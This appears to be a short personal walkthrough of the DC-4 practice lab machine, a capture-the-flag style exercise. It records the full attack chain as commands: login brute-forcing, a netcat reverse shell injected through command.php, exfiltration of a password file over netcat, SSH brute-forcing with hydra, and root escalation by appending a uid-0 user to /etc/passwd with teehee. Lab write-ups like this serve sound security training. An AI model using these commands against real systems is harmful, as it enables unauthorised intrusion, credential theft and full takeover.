DC 4

nmap

nikto   >> no juicy info

dirb

http://192.168.229.135 >> a login page is showing

using **burpsuite intruder** password bruteforce

user >> admin
pass>>
love   response length 641 (payload = john hash)

after login >>

http://192.168.229.135/command.php
using
burpsuite Repeter changed the prompt to get a reverse shall

`/bin/nc+-nv+localip+4477+-e+/bin/bash`   instead of ls-la

`nc  -lvnp 4477`

we get a reverse shell

`cd /home/ls`

> 🔒 charles
> jim
> sam

`cd /home/jim  ls`
backups
mbox

test.sh

`cat` `test.sh`

```
#!/bin/bash
for i in {1..5}
do
sleep 1
echo "Learn bash they said."
sleep 1
echo "Bash is good they said."
done
echo "But I'd rather bash my head against a brick wall."
```

`cat usr/share/passwd`

`cat old-passwords.bak | nc localip 5555`

in another terminal >> `nc -lvnp 5555 >received_pass.txt`

`hydra -L '/home/punisher/Testing/DC4/users' -P '/home/punisher/Testing/DC4/received_pass.txt' ssh://ip`

22][ssh] host: 192.168.229.135 login: jim password: jibril04

`ssh jim@targetip pass`

`cd /var/mail cat jim`

user - charles pass - ^xHhA&hvim0y

`echo 'root:x:0:0:root:/root:/bin/bash' | sudo /usr/bin/teehee /etc/passwd`

`echo 'newuser:x:0:0:::/bin/bash' | sudo teehee -a /etc/passwd` with out password

cd root

flag